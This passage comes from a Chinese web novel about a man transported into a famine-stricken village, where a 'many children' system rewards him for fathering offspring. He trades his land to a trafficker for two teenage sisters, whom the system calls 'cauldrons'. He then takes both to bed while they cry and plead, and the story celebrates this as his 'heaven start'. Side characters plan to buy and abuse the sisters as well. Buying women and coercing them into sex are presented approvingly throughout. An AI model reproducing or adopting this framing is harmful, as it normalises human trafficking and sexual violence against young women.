《荒年猎户,开局两绝色老婆》
第1章 多子多福
头痛欲裂。
江夜猛地睁开眼,入目是黑黢黢的房梁,上面还挂着几缕陈年蜘蛛网。
身下是硬邦邦的木板床,铺着一层薄薄的稻草,一股霉味混着汗臭直冲鼻腔。
他撑着身子坐起,环顾四周。
土坯墙,茅草顶,一扇小窗糊着破旧的麻纸,筛进来的光线昏暗不明。屋里除了一张缺了腿用石头垫着的破桌子,两个摇摇欲坠的板凳,再无他物。
“我不是在出租屋里通宵打游戏,**了吗?”
一段不属于他的记忆如潮水般涌来。
大宣王朝末年,兵荒马乱,饿殍遍地。这具身体的原主也叫江夜,稻花村人,二十岁,父母双亡,只有一个哥哥江峰。前身好吃懒做,游手好闲,分家后两亩薄田都快荒了,还得靠哥嫂时常接济。
“这什么地狱开局?”
江夜扶着额头,欲哭无泪。他挣扎着下床,踉踉跄跄地走到墙角的米缸前,伸手一掏,缸底只有一层薄薄的糠灰。
他一屁股坐在地上,看着空空如也的米缸,只想给自己一巴掌,然后穿回去。
回到那个有空调、有外卖、有可乐的现代社会。
就在江夜万念俱灰之际,一道机械的电子音在他脑海中响起。
【叮!检测到宿主强烈求生欲,多子多福系统正式激活!】
【本系统旨在帮助宿主开枝散叶,绵延子嗣,家族越兴旺,宿主获得奖励越丰厚!】
江夜一愣,随即狂喜!
系统!穿越者必备金手指!
“哈哈哈,天不亡我!”
可他还没高兴两秒,笑容就僵在了脸上。
多子多福?
他现在连自己都快养不活了,饭都吃不上,拿什么娶媳妇生孩子?就凭这家徒四壁的茅草屋,还有前身那烂到骨子里的名声?
村里的狗见了他都得绕道走!
正当江夜发愁时,屋外突然传来一阵喧哗,一个尖锐的嗓门划破了村庄的宁静。
“都出来看,都出来瞧啊!刚从南边逃荒过来的娘们,个个身强体壮,能干活能生养!过了这个村可就没这个店了!”
人牙子?
江夜眼睛一亮,心头那点愁绪瞬间被抛到九霄云外。
瞌睡了就有人送枕头!
他想都没想,拉开吱呀作响的木门就冲了出去。
村口的老槐树下,此刻已是人声鼎沸,围得里三层外三层。
一个贼眉鼠眼的中年男人正站在一辆板车上,唾沫横飞地叫卖着,他就是人牙子。板车上,或坐或站着十几个女人,个个面黄肌瘦,神情麻木。
村民们伸长了脖子,对着车上的女人评头论足,像是在挑选牲口。
“那个,那个黑的!看着就壮实!”
“你瞅瞅那个婆娘,屁股跟磨盘似的,保准能生儿子!”一个老农两眼放光,指着一个身材最为魁梧的女子。
人牙子立刻心领神会,一把将那女子拽到前面:“张大叔好眼力!这婆娘叫大妞,从南边一路走过来,一口气能扛五十斤粮食!买回去,白天能下地,晚上能暖炕,只要二两银子!”
村民们一阵骚动,二两银子可不是小数目,但看着那女人粗壮的胳膊,不少人都动了心。
人群中,两个鬼鬼祟祟的身影挤来挤去,正是村里的二流子赵癞头和王麻子。
赵癞头顶着个瘌痢头,一双三角眼色眯眯地在女人们身上打转,压低声音对王麻子说:“麻子,你看那个,虽然黑了点,但胸前有料啊。”
王麻子吸溜了一下口水,摸了摸空空如也的口袋,叹气道:“有料有啥用,咱俩加起来也凑不出半两银子。”
两人只能在一旁起哄,过过眼瘾。
不远处的树荫下,几个婆娘聚在一起,为首的正是王翠花。她嗑着瓜子,对着人群撇撇嘴,酸溜溜地对身边人说:“瞧他们那猴急样,不知道的还以为是天仙下凡呢。买回去还不是多张吃饭的嘴,一个个穷得叮当响,还想学地主老爷买下人。”
江夜没理会这些嘈杂,他的目光在板车上快速扫过。
这些女人虽然看着能
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干活,但一个个皮肤黝黑,面容粗糙,实在不符合他的审美。
就在他准备失望离开时,眼角余光瞥见了板车的角落。
那里缩着两个身影。
看清的瞬间,江夜的呼吸都停滞了一瞬。
那是一对姐妹,约莫十七八岁的年纪,虽然浑身沾满污泥,头发也乱糟糟的,却丝毫掩盖不住那惊心动魄的绝色容颜。
姐姐紧紧将妹妹护在怀里,一张标准的鹅蛋脸,眉如远黛,眸似秋水。尽管脸上满是脏污,却能看出皮肤底子极为白皙细腻。她抿着干裂的嘴唇,眼神里带着一丝倔强和绝望,警惕地看着周围的一切。
她怀里的妹妹年纪更小一些,一张精致的瓜子脸,此刻正埋在姐姐怀中,只露出一双小鹿般惊恐的眼睛,长长的睫毛上还挂着泪珠,瑟瑟发抖的模样,我见犹怜。
两人虽然瘦弱,但身段窈窕,哪怕穿着破烂的麻衣,也能看出那份与生俱来的清雅气质。
人牙子显然也注意到了这对姐妹,但他只是撇撇嘴,懒得介绍。
有村民注意到了,指指点点起来。
“那俩丫头片子长得倒是俊,可惜太瘦了,跟个柳条似的,风一吹就倒,买回去能干啥?”
“就是,中看不中用,买回去不是浪费粮食吗?一两银子我都不带要的。”
王翠花更是“呸”了一口瓜子皮,刻薄道:“长得跟个狐狸精似的,一看就不是什么安分货色,谁家敢要?”
周围响起一片附和声。
在这灾荒年头,美貌是最不值钱的东西。能干活,能生养,才是硬道理。
然而,就在江夜的目光落在那对姐妹花身上时,他脑海中的系统提示音突然疯狂响起,几乎要炸开!
【叮!发现极品鼎炉*2!资质绝顶!】
【姐姐白梦夏,天生媚骨,灵韵内蕴,评级:绝品!】
【妹妹白梦秋,纯阴之体,钟灵毓秀,评级:绝品!】
【强烈建议宿主拿下!此乃宿主开枝散叶,逆天改命之绝佳根基!】
第3章 败家子
人牙子将那对姐妹花的身契,连同地契交换后找零的几两碎银子,一股脑塞进江夜手里。
他脸上的褶子笑成了一朵菊花,看江夜的眼神,活像在看一个送财童子。
这年头,地才是硬通货。这两亩薄田虽然贫瘠,但只要肯下力气,总能养活一两口人。用两个眼看就要饿死的丫头片子换两亩地,这买卖简直赚到了姥姥家。
“小兄弟,爽快!以后要还有这好事,哥哥我第一个找你!”人牙子拍了拍江夜的肩膀,得意洋洋地吆喝着剩下的女人,赶着板车,扬长而去。
人牙子一走,村民们的议论声再无顾忌,一下子炸开了锅。
“疯了,真是疯了!拿命根子换了两个拖油瓶!”
“这下好了,地没了,看他拿什么养活这两张嘴,怕不是要一起饿死!”
江夜充耳不闻,对着那对还处于震惊和茫然中的姐妹,言简意赅地吐出一句话:
“走吧,回家。”
江夜淡淡地说了句,转身就走,仿佛身后那些议论根本不存在。
白梦夏和白梦秋姐妹俩,听到他的话,身体下意识地跟了上去。她们的腿是软的,脑袋是空的,只能机械地迈着步子。
身后,毫不掩饰的讥笑和指指点点如潮水般涌来。
“啧啧,卖了祖产换了两个狐狸精,江家老两口要是知道,怕是得从坟里气得爬出来!”
“我看他是疯了!彻底疯了!没了地,他拿什么养活这两张嘴?”
“养活?嘿嘿,赵癞头,你猜他晚上想干啥?”
“哈哈哈,那还用说?二十两银子买的,不得一晚上就回本?”
污言秽语不堪入耳,白梦夏的脸瞬间惨白如纸,她紧紧攥着妹妹的手,指甲都掐进了肉里。白梦秋更是吓得浑身发抖,把头埋得更深,眼泪无声地往下掉。
江夜脚步一顿。
他猛地回头,冰冷的目光扫过那几个笑得最欢的混混。
赵癞头和王麻子被他看得心里一毛,笑声戛然而止,下意识地后退了一步。他们忽然觉得,今天的江夜,好像跟以前那个任人嘲讽的懒汉……不太一样了。
江夜没再多看他们一眼,领着姐妹俩,穿过人群,走向村东头那间最破败的茅草屋。
人群中,江峰双目赤红,死死地盯着弟弟的背影。他想冲上去,想抓住他,想把他打醒,可双腿却像灌了铅一样,一步也挪不动。
他眼睁睁地看着江夜领着那两个女人,走进了那间破屋,身影消失在门后。
“完了……全完了……”
江峰喃喃自语,高大的身躯晃了晃,最后无力地蹲在地上,双手痛苦地**了头发里。
……
江夜的家在村东头,最偏僻也最破败。
破旧的木门被推开,一股混杂着霉味和灰尘的气息扑面而来。
白梦夏和白梦秋跟着江夜走进屋里,当看清屋内的景象时,姐妹俩刚刚在路上升起的一丝丝不切实际的幻想,瞬间被击得粉碎。
土坯墙上裂着大大小小的缝,冷风顺着缝隙往里灌。屋顶的茅草稀稀拉拉,甚至能看到几处破洞,透着外面的天光。
屋里除了一张用石头垫着腿的破桌子,两个摇摇欲坠的板凳,就只剩下一张铺着稻草的硬板床。
这里……就是她们以后的家?
姐妹俩站在门口,看着这比她们逃荒路上住过的破庙还要简陋的屋子,眼神慢慢变为一片茫然和死寂。
她们这是……才出狼窝,又入虎穴了吗?
江夜没理会她们的反应,他太清楚这屋子有多破了。
他一言不发,走到屋角那个勉强还能用的土灶前,从水缸里舀了水,点燃了灶膛里的干柴。
很快,锅里的水便咕嘟咕嘟地冒起了热气。
他转身走进里屋,翻箱倒柜了一阵,找出两件自己打满补丁、但还算干净的旧衣服,扔给了姐妹两。
“锅里有热水,去洗洗。”他的声音没什么起伏,听不出情绪。
衣服落在白梦夏的怀里,那粗糙的麻布料子硌得她手心生疼。她浑身一僵,猛地抬起头,死死地将妹妹护在身后,眼神里充满了警惕。
她咬着干裂的嘴唇,声音沙哑又颤抖:“你……你想干什么?”
她不怕死,可她怕妹妹受辱。如果这个
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男人想用强,她宁可拼个鱼死网破。
江夜看着她那副视死如归的模样,微微皱了皱眉。
他懒得解释什么。
江夜什么也没说,转身拉开木门,径直走了出去,顺手将门带上。
“砰”的一声轻响,屋里屋外,两个世界。
白梦夏愣住了。
他……就这么走了?
她看着紧闭的木门,又看了看怀里粗糙的衣服和锅里升腾的热气,脑子里一片混乱。
江夜出了门,没理会远处投来的各种探究目光,径直朝着村里唯一的小卖铺走去。
说是小卖铺,其实就是村西头的一个小棚子,卖些油盐酱醋和针头线脑之类的杂货。
“王叔,给我来二十斤米,十斤白面。”江夜将人牙子找给他的那几两碎银子拍在柜台上。
正在打盹的王瘸子被惊醒,抬起眼皮看了看江夜,又看了看柜台上的银子,眼神有些诧异。
“呦,江家小子,发财了?”
“再给我割一刀肉,肥点的。”江夜没接他的话茬,指了指挂在梁上的一条黑乎乎的腊肉。
这话一出,不光是王瘸子,就连旁边几个正在闲聊的村民都看了过来。
买米买面就算了,还要割肉?
这可是肉啊!灾荒年头,普通人家一年到头都见不到半点油腥,他一个刚卖了地的穷光蛋,竟然还敢吃肉?
王瘸子愣了一下,随即手脚麻利地称米装面,又取下腊肉,用刀割下一块巴掌大的,肥多瘦少。
“给,一共二两三百文,剩下的钱都在这了。”王瘸子把几个铜板和货物推给江夜。
江夜接过东西,转身就走。
身后,鄙夷和嘲讽的声音再也压抑不住。
“真是个败家子!刚卖了地就这么糟践!”
“就是,有钱买肉吃,也不想着把地赎回来,我看他是彻底没救了。”
“等着吧,这点钱能吃几天?等吃完了,就该领着那两个小妖精去要饭了!”
听着这些话,江夜的嘴角反而勾起一抹微不可察的弧度。
要饭?
他江夜的字典里,可没有这两个字。
第4章 一饭之恩
江夜一手扛着米袋,一手拎着面和肉,在全村人看败家子的目光中,一步一步,沉稳地走回了那间属于他的的茅草屋。
那块巴掌大的腊肉,被麻绳拴着,在昏黄的日光下泛着诱人的油光。一股浓郁的咸香混着肉香,勾得墙角下玩泥巴的鼻涕娃猛吸鼻子。
“肉……肉……”小孩含糊不清地念叨着,丢了手里的泥巴,踉踉跄跄地跟在江夜身后,像个小尾巴,一步都不肯落下。
这香味也飘进了不远处的另一户院子。
王翠花刚骂完自家的鸡不下蛋,正叉着腰喘气,一股久违的肉香顺着风就飘了过来。她鼻子一抽,那双三角眼立刻就亮了,伸长了脖子四下张望。
当她看到是江夜提着肉,扛着米面走过去时,那张脸随即瞬间扭曲起来,嫉妒的火苗从眼里直往外窜。
“我呸!天杀的败家玩意儿!”
她一口浓痰吐在地上,扯着嗓子就骂了起来,也不管江夜听不听得见,仿佛不大声点就宣泄不了心里的那股酸气。
“刚卖了祖宗的地,就敢这么糟践!买米买面还割肉,这是要把棺材本都吃光啊!老天爷怎么不降个雷劈死这种不肖子孙!”
“等着吧,看他能吃几天!等把钱花光了,领着那两个狐狸精一起去喝西北风,饿死街头都没人埋!”
尖酸刻薄的咒骂声传出老远,引得左邻右舍都探出头来看热闹。
江夜却像是没听见,连头都懒得回。
跟一个泼妇计较,只会拉低自己的档次。他现在心里,只想着那两个在破屋里等着他的绝品鼎炉。
回到家门口,他抬脚轻轻一推。
“吱呀——”
破旧的木门应声而开。
屋外的光线涌入,照亮了屋内。江夜的脚步,在看清屋里景象的瞬间,微微一顿。
灶膛里的火还燃着,锅里的热水蒸腾出氤氲的雾气,让这间破败的茅屋多了几分不真切的朦胧感。
而就在这片朦胧中,站着两个身影。
仅仅是洗去了满身的污泥,换上了一身干净的衣裳,就仿佛是剥去了尘埃的明珠,绽放出了令人窒息的光华。
姐妹俩已经洗漱干净。她们身上穿着江夜那宽大的旧麻衣,打着补丁的衣服套在她们纤弱的身上,显得空空荡荡,衣领大得露出了精致的锁骨,袖子长得只能看见一小截白玉般的手指。
可就是这样不合身的衣服,非但没有减损她们半分颜色,反而更衬得她们身形窈窕,腰肢不盈一握,有种说不出的柔弱与楚楚可怜。
姐姐白梦夏站在前面,一张标准的鹅蛋脸,洗净之后,肤光胜雪,细腻得仿佛能掐出水来。
远山般的黛眉下,是一双清澈如秋水的眸子,此刻正带着几分不安和探究望着门口的江夜。
长长的睫毛微颤,鼻梁秀挺,唇瓣是天然的樱色,因缺水而略显干涩,却更添一丝脆弱的美感。
妹妹白梦秋躲在姐姐身后,只探出半个小脑袋。她是一张更为精致的瓜子脸,眉眼间尚带着少女的稚气。
一双眼睛大而圆,像是受惊的小鹿,清澈见底,此刻正怯生生地打量着江夜,长长的睫毛忽闪忽闪,紧张地攥着姐姐的衣角。
她们就像是两朵被风雨摧残过后,于废墟之上悄然绽放的雪莲,干净,纯粹,美得惊心动魄。
饶是江夜见惯了现代社会各种美颜滤镜下的美女,此刻也不由得看呆了一瞬,心跳都漏了半拍。
绝品!
系统诚不欺我!
不过,他也仅仅是愣了一瞬,便迅速收回了目光,神色恢复了淡然。
他将米袋靠墙放好,把面和肉往破桌上一搁,发出的“砰”的一声,让本就紧张的姐妹俩身子又是一颤。
江夜没理会她们的反应,挽起袖子,淘米,切肉,动作干脆利落。
他先将米下锅,用灶膛里剩下的余温焖着。然后将那块巴掌大的腊肉切了一半,肥瘦分开,先将肥肉下锅,用小火慢慢熬出猪油。
浓郁的肉香很快随着“刺啦”一声,在滚烫的铁锅中彻底爆发开来。肥肉被煸炒出金黄的猪油,又将瘦肉放了进去,瘦肉在油中翻滚,香味一层层地叠加,霸道地侵占了茅屋里的每一个角落,甚至顺着墙缝飘了出去。
“咕……咕咕……”
一个极不合时宜的声音,在安静的屋子里响起。
白梦秋的脸“唰”的一下就红透了。她窘迫地低下头,双手死死捂住自己不争气的肚子,恨不得找个地缝钻进去。
她已经不记得自己多久没闻到过肉香了。这一路上,吃的都是发霉的干粮,甚至是草根树皮,肚子里那点可怜的存货,早就被这霸道的香味勾得翻江倒海。
白梦夏心疼地揽住妹妹,轻轻拍着她的背,看向江夜的眼神,也变得愈发复杂。
没过多久,饭菜的香气愈发浓郁。
江夜端着一个豁了口的陶碗,从锅里盛出两碗冒着尖的白米饭。那米饭粒粒分明,散发着纯粹的谷物香气。
他又将炒好的肉片盛进另一个碗里,金黄的肥肉片,酱红的瘦肉片,上面还沾着些许焦香的锅巴,油光锃亮,光是看着就让人食指大动。
两碗白米饭,一碗炒腊肉。
这就是今晚的全部。
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>江夜将碗筷摆在缺了腿的破桌上。
做完这一切,他看向还站在墙角的姐妹俩,言简意赅。
“过来,吃饭。”
姐妹俩看着桌上的一切,彻底懵了。
白花花的大米饭,还有……还有一整碗的肉!
她们逃亡的这一路,见过太多人为了一口吃的打得头破血流,见过易子而食的人间惨剧。
她们以为自己被这个男人买下,最好的结果也不过是苟延残喘,每日喝着稀得能照见人影的米汤,做牛做马。
可现在,摆在她们面前的,是连地主家都得逢年过节才能吃上的饭菜。
姐妹俩站在原地,一动不动,仿佛置身梦境。
江夜没管她们,自顾自地坐下,拿起筷子夹了一大口饭,又夹起一片肥瘦相间的肉片,塞进嘴里,满足地咀嚼起来。
他的吃相算不上文雅,但却透着一股让人安心的烟火气。
看到他开吃了,白梦秋的肚子叫得更欢了。她不受控制地吞了口口水,那双小鹿般的眼睛,死死地盯着那碗肉,再也挪不开。
“吃吧,不吃就凉了。”江夜又说了一句。
这句话,成了压垮白梦秋心中最后一道防线的稻草。
她再也忍不住,拉着姐姐的手,小心翼翼地挪到桌边坐下。
她拿起筷子,那双小手,此刻却抖得厉害。她颤抖着,夹起一片离自己最近的肉片,送进了嘴里。
咸香的滋味,混合着油脂的丰腴,瞬间在味蕾上炸开。
那一瞬间,一股难以言喻的暖流从舌尖涌向四肢百骸。
“呜……”
白梦秋再也控制不住,豆大的泪珠毫无征兆地从眼眶中滚落,一颗接一颗,砸进面前的米饭碗里。
她一边哭,一边狼吞虎咽地往嘴里扒着饭,仿佛要将这一路上的饥饿、恐惧、委屈,全部都随着这碗饭吞进肚子里。
看到妹妹哭了,一直强撑着的白梦夏,眼圈也瞬间红了。
她拿起筷子,却没有夹肉,而是先给妹妹夹了一筷子,然后才默默地扒了一口白饭。
米饭的香甜,混着泪水的咸涩,一起滑入喉咙。
她也哭了,不像妹妹那样出声,只是无声地流着泪,肩膀一抽一抽的。
一顿饭,三人谁也没有说话。
破败的茅屋里,只有姐妹俩压抑不住的低泣声,和着咀嚼吞咽的声音。
江夜静静地吃着自己的饭,没有劝,也没有问。
他知道,她们需要的不是安慰,而是这一碗能让她们活下去的的白米饭。
等她们把所有的委屈和恐惧都哭完了,就该开始新的生活了。
第5章 夫君,我来服侍您
一顿饭吃完,碗底都刮得干干净净,连菜碗里的那点油星子都被白米饭蹭了个遍。
姐妹俩的哭声渐渐停了,肚子里有了食,身上也有了些力气,但那股劫后余生的茫然和对未知的恐惧,却更深地笼罩在心头。
江夜默不作声地收拾了碗筷,拿到灶台边简单冲洗了一下。
做完这一切,他转过身,屋里昏暗的光线下,他的目光落在了墙角那对姐妹花身上。
饭吃完了。
接下来,该做什么?
空气仿佛在这一瞬间凝固了。
刚刚因为一顿饱饭而稍微放松下来的白梦夏和白梦秋,身体几乎是同时一僵。
她们能清晰地感觉到那道目光,不带任何温度,却像是有实质的重量,压得她们喘不过气。
白梦秋下意识地往姐姐身后缩了缩,一双小手死死攥着姐姐的衣角,指节都因为用力而发白。
白梦夏挺直了单薄的脊背,将妹妹更紧地护在身后。她知道,这一刻终究还是来了。
她们的身契都在这个男人手里,她们的命,她们的一切,都是他的。
江夜没有说话。
他只是抬起头,视线越过姐妹俩,落在了屋里那唯一的一张,铺着稻草的硬板床上。
那张床很窄,很破,一个人睡都嫌挤。
但他的意思,再明白不过。
白梦夏的脸“唰”地一下,涌上一股让滚烫潮红。这股热意从她的脖颈,一直烧到耳根,连带着那双清澈的秋水眸子都蒙上了一层水汽。
她懂的。
逃不掉的。
与其被动地承受,不如主动一些,或许……或许还能为妹妹求得一丝喘息的机会。
她深吸一口气,从妹妹身后走出来,微微福身,声音细若蚊蚋。
“夫君……今晚,由梦夏来服侍您。”
说完这句话,她整个人都在发抖,紧咬的下唇渗出了血丝。她已经做好了准备,准备迎接自己作为货物的命运。
然而,江夜的回答,却让她的心跳都漏了一拍。
“不。”
一个字,干脆利落。
白梦夏猛地抬起头,眼中满是错愕和不解。
难道……难道是他嫌弃自己?
她还没来得及想明白,就听到了那个男人接下来的话。
“一起。”
这两个字,像是道惊雷,在姐妹俩的脑海中轰然炸响。
一起?
白梦夏猛地抬起头,不敢置信地看着他。
白梦秋也惊呆了,那双小鹿般的眼睛里盛满了惊恐和茫然。
江夜没有再给她们反应的时间,他看着姐妹俩那副惊惶失措、我见犹怜的模样,心头一阵火热。
他一步上前,在姐妹俩的惊呼声中,一手一个,将她们拦腰抱起。
“啊!”
身体突然悬空,姐妹俩下意识地惊叫出声,手忙脚乱地搂住了江夜的脖子。
女孩的身体轻得像两片羽毛,温香软玉抱了满怀,那份独特的幽香混着皂角洗漱后的清新气息,直往江夜的鼻子里钻。
江夜的喉结不受控制地滚动了一下。
他大步走到床边,将怀里的两个绝色佳人,轻轻放在了那张铺着稻草的硬板床上。
昏黄的灯光下,她们的脸颊,从脸蛋到脖颈,再到那宽大衣领下若隐若现的精致锁骨,全都染上了一层动人心魄的粉色。
姐姐白梦夏一张鹅蛋脸,此刻已是红霞满布,她紧咬着樱唇,那双清澈如水的眸子蒙上了一层水雾,羞愤、无助、认命,种种情绪交织在一起,让她看起来像一朵被**侵袭的海棠花,脆弱而美丽。
妹妹白梦秋更是已经完全傻掉了,她将脸深深埋在姐姐的怀里,只露出一双通红的耳朵尖。她能感觉到自己的心快要从嗓子眼里跳出来了,身体抖得像秋风中的落叶,连牙齿都在打颤。
绝品!
看着眼前这副活色生香的画面,江夜脑海里只剩下这两个字。
他心中火热,对于即将到来的系统奖励,更是充满了前所未有的期待。
他吹熄了油灯,屋子里瞬间陷入一片黑暗。
在姐妹俩细
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碎的抽泣声中,江夜欺身而上。
……
第二天。
天光顺着屋顶的破洞和墙壁的缝隙,斑驳地洒进屋内。
白梦夏是被一阵酸痛感弄醒的。
她缓缓睁开眼,浑身上下,像是被车轮碾过一般,没有一处不疼。
身旁,传来妹妹均匀而轻微的呼吸声。
她侧过头,看到白梦秋蜷缩着身子,睡得正沉,长长的睫毛上还挂着未干的泪痕,睡梦中眉头依旧紧紧蹙着,一副惹人怜爱的模样。
而在她们姐妹的中间,躺着那个昨夜予取予求的男人。
江夜。
他睡得很沉,呼吸平稳有力。晨光勾勒出他棱角分明的侧脸。
看着这张脸,白梦夏的眼神无比复杂。
这个男人,用他全部的家当换了她们,给了她们一顿饱饭,也粗暴地占有了她们。
她们的命运,从今往后,便和这个男人,和这间破败的茅屋,紧紧地绑在了一起。
就在她胡思乱想之际,身旁的男人忽然动了一下。
江夜睁开了眼。
他一睁眼,就看到两个美人,正躺在他身边。
被子不知何时滑落到了腰间,露出了大片美好的春光。
姐姐白梦夏醒着,一头青丝如瀑般散落在稻草上,几缕发丝贴在她那张绝美的鹅蛋脸上,带着宿醉般的迷离和初经人事的慵懒,一双秋水眸子正怔怔地看着他,发现他醒来后,又慌乱地移开视线,脸颊瞬间飞上两抹红晕。
妹妹白梦秋还在睡梦中,小嘴微微张着,发出呓语般的呢喃。她侧躺着,那份属于少女的青涩与美好,散发着致命的诱惑。
江夜只觉得一股邪火“噌”的一下就从丹田窜了上来。
他嘿嘿一笑,在白梦夏羞愤的目光中,他一个翻身,如猛虎下山,再次压了上去。
“夫君……不要……妹妹她……”
“无妨,一起醒来才热闹。”
很快,屋子里再次响起了压抑的哭泣声和断断续续的求饶声。
新的一天,开始了。
第6章 天堂开局!
接下来的几天,稻花村东头那间最破的茅草屋,成了全村最引人瞩目的地方。
不为别的,就为那股几乎没断过的肉香味。
每天一到饭点,一股浓郁的腊肉香气,就准时从那破屋里钻出来,肆无忌惮地飘向村里的每一个角落。
这年头,谁家不是勒紧了裤腰带,把一粒米掰成两半吃?别说肉了,能喝上一碗稠点的米汤都算过节了。
可江夜家倒好,天天肉香不断,顿顿白米饭管够。
更气人的是,自从买回那对姐妹花,江夜就跟在屋里扎了根似的,连个人影都见不着。大门不出,二门不迈,地里的草都快长得比人高了,他也不去管。
村里人不用猜都知道他在干什么。
一个二十岁的光棍,血气方刚,花了全部家当买了两个天仙似的婆娘回来,能干啥?
“日夜耕耘”,不知疲倦。
这可把某些人给气坏了。
首当其冲的,就是王翠花。
她家的院子离江夜家不远,每天闻着那勾魂的肉香,听着自家男人吞口水的声音,心里的火就“蹭蹭”往上冒。
“我呸!不要脸的败家子!**家的祖坟是冒了黑烟才出了这么个玩意儿!”
王翠花叉着腰站在院子里,对着江夜家的方向,扯着嗓子指桑骂槐。
“买两个吃白饭的狐狸精回来,天天关在屋里头鬼混!也不怕年纪轻轻就把身子给掏空了!”
“还吃肉!吃!吃死你个龟孙!我看你那点卖地的钱能吃几天!等钱花光了,就等着领那两个骚蹄子出门要饭吧!到时候别来求老娘!”
她骂得唾沫横飞,声音尖锐得能划破天。村里人听见了,都只是笑笑,没人搭茬,但也都在心里暗自盘算。
是啊,地都没了,坐吃山空,江夜这日子长不了。
村口的老槐树下,赵癞头和王麻子又凑到了一起。
“癞头哥,你闻着没?又**在吃肉呢!”王麻子吸溜了一下鼻子,满脸的羡慕嫉妒恨。
赵癞头一双三角眼死死盯着村东头的方向,眼里闪着贪婪又阴狠的光。
“哼,让他吃!吃得越欢,死得越快!”他冷笑一声,摸了摸自己的瘌痢头,“那小子就是个蠢货,以为婆娘是买回来疼的?那是牲口!是玩意儿!”
“哥说的是!”王麻子连连点头,“不过那两个小娘们是真水灵啊,我前天从他家墙缝里瞅了一眼,乖乖,那皮肤白的,跟剥了壳的鸡蛋似的。江夜那小子真是走了狗屎运!”
“什么狗屎运!”赵癞头啐了一口,“那是给他暂时保管的!等他把钱花光了,饿得前胸贴后背的时候,你看他卖不卖!到时候,咱们花个一两银子,不,半两银子!就能把那对姐妹花弄到手!”
赵癞头越说越兴奋,仿佛已经看到了那对姐妹在自己身下哭泣求饶的模样。
“嘿嘿嘿,到时候,咱们兄弟俩,一人一个,白天让她们干活,晚上……嘿嘿嘿!”
“妙啊!癞头哥你真是高!”
两个混混对着村东头,发出了猥琐又得意的笑声,仿佛江夜和那对姐妹,已经是他们的囊中之物。
……
外界的风言风语,丝毫影响不到茅屋内的三人世界。
这几天,对于白梦夏和白梦秋来说,像是做梦一样。
她们不用再挨饿,不用再担惊受怕,每天都能吃上香喷喷的白米饭和油汪汪的腊肉。
身子被养得渐渐有了些肉,原本苍白的脸蛋也透出了健康的红润。
只是,每到晚上,那个男人就会化身为不知疲倦的猛兽,在她们身上肆意索取。
从最初的羞愤、抗拒,到后来的麻木、认命,再到如今夹杂着一丝说不清道不明的依赖。
这个男人,虽然粗暴,却给了她们安稳,虽然霸道,却让她们吃饱了肚子。
在这乱世,一个能让你吃饱饭的男人,一个把你当人看的男人,还能奢求什么呢?
这天晚上,江夜靠在床头,回味着一天的“辛勤耕耘”,心里盘算着剩下的钱还能撑多久。
就在这时,一阵轻微的脚步声传来。
白梦夏端着一盆热水,小心翼翼地走了过来。她身上还是那件宽大的旧麻衣,乌黑的长
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发被简单地束在脑后,露出一截雪白修长的脖颈。
昏黄的油灯下,她脸颊绯红,水润的眸子像是蒙着一层薄薄的雾气,不敢直视江夜。
“夫君……我……我给您洗脚。”
她走到床边,将木盆放下,然后便要蹲下身。
江夜一愣。
洗脚?
他还没反应过来,白梦夏已经红着脸,伸出那双柔若无骨的小手,有些笨拙地想脱他的鞋。
旁边,一直低着头的白梦秋也连忙跑过来,蹲在姐姐身边,有样学样地帮忙。她更是害羞,从头到尾都埋着小脑袋,只露出一个通红的耳朵尖。
江夜坦然地把脚伸了过去。
温热的水瞬间包裹住双脚,驱散了一天的疲惫。
姐妹俩一人一只脚,小手轻轻地在他脚上揉捏着。她们的动作很生涩,力道也忽轻忽重,显然是第一次做这种事。
但那份柔软的触感,却让江夜的心神一阵荡漾。
他低头看去。
昏黄的灯光下,两个绝美的女子正蹲在他的脚边。
姐姐白梦夏微微抬着头,长长的睫毛上沾染了水汽,眼神专注又带着一丝羞怯,樱唇微抿,那张绝美的鹅蛋脸近在咫尺。
妹妹白梦秋则完全把脸埋了起来,只能看到她乌黑柔顺的发顶和微微颤抖的纤弱肩膀,像一只受惊的小猫,惹人怜爱。
温香软玉,红袖添香。
不,这比红袖添香更刺激。
这是两个绝品美人,在为他洗脚!
江夜心中涌起一股难以言喻的巨大满足感。
前世,他是个在出租屋里通宵打游戏打到**的屌丝,别说让美女洗脚了,连女孩子的手都没牵过。
而现在,他同时拥有了两个绝世美人,她们美得惊心动魄,却温顺得如同羔羊。
这种将绝色佳人掌控在手的快感,比任何游戏都要让人沉迷。
“爽!”
江夜在心里大吼一声。
什么地狱开局?这他妈是天堂开局!
值了!
为了眼前这一幕,别说两亩薄田,就是二十亩,二百亩,也值了!
第7章 哥,我心里有数
就在江夜心中豪情万丈,感觉人生已经到达了巅峰时,屋外突然传来了“叩叩”的敲门声。
声音不大,甚至有些迟疑。
屋里的姐妹俩像是受惊的兔子,瞬间从那种旖旎的氛围中惊醒,慌乱地起身。
江夜眉头微皱,这个时候,会是谁?
他拉开了吱呀作响的木门。
门外站着的,是他的哥哥江峰。
几天不见,江峰似乎又黑瘦了一些,高大的身躯在昏暗的夜色里显得有些佝偻,脸上写满了疲惫和愁绪。他手里提着一个灰布口袋,鼓鼓囊囊的。
当他看到开门的弟弟时,不由得愣了一下。
几天不见,江夜好像……变了点。
虽然穿的还是那身打满补丁的破衣服,但整个人精气神完全不一样了。腰杆挺得笔直,眼神清亮,脸上甚至还带着一丝……一丝满足的红润?
江峰还没想明白,就闻到一股若有若无的香气从屋里飘出来。不是饭菜香,而是一种女人的幽香,混杂着一丝说不清道不明的靡靡气息。
他立刻想到了那对姐妹花,脸色顿时变得复杂起来,将手里的口袋递了过去。
“拿着,刚从镇上换的,一些杂粮面,还有几块风干的肉干,你……省着点吃。”
口袋沉甸甸的,江夜接过来,心里一暖。
这个便宜哥哥,虽然嘴上骂得凶,但却总是在接济他这个“不成器”的弟弟。
“哥,谢了。”江夜没有推辞。
现在不是讲客气的时候,他确实需要这些东西。
江峰看着弟弟坦然收下的样子,心里又是欣慰又是生气,最后化作一声长叹。
“阿夜,你……你以后到底有什么打算?那两亩地是你安身立命的根本,就这么卖了……你总不能就这么一直混下去吧?你那点银子,能撑几天?”
他看着这破败的屋子,想到弟弟如今的处境,心就像被石头堵住一样难受。
江夜将口袋放到桌上,转身看着哥哥,神色平静。
“哥,你放心,我心里有数。”
“有数?你有什么数!”江峰的火气一下子就上来了,声音也高了八度,“你把爹娘留下的地卖了,换两个女人关在屋里!你看看你现在像什么样子!地里的活不干,整天大门不出二门不迈,你想干什么?坐吃等死吗?”
江峰越说越气,胸膛剧烈起伏着。
然而,面对他的怒火,江夜依旧是那副云淡风轻的样子。
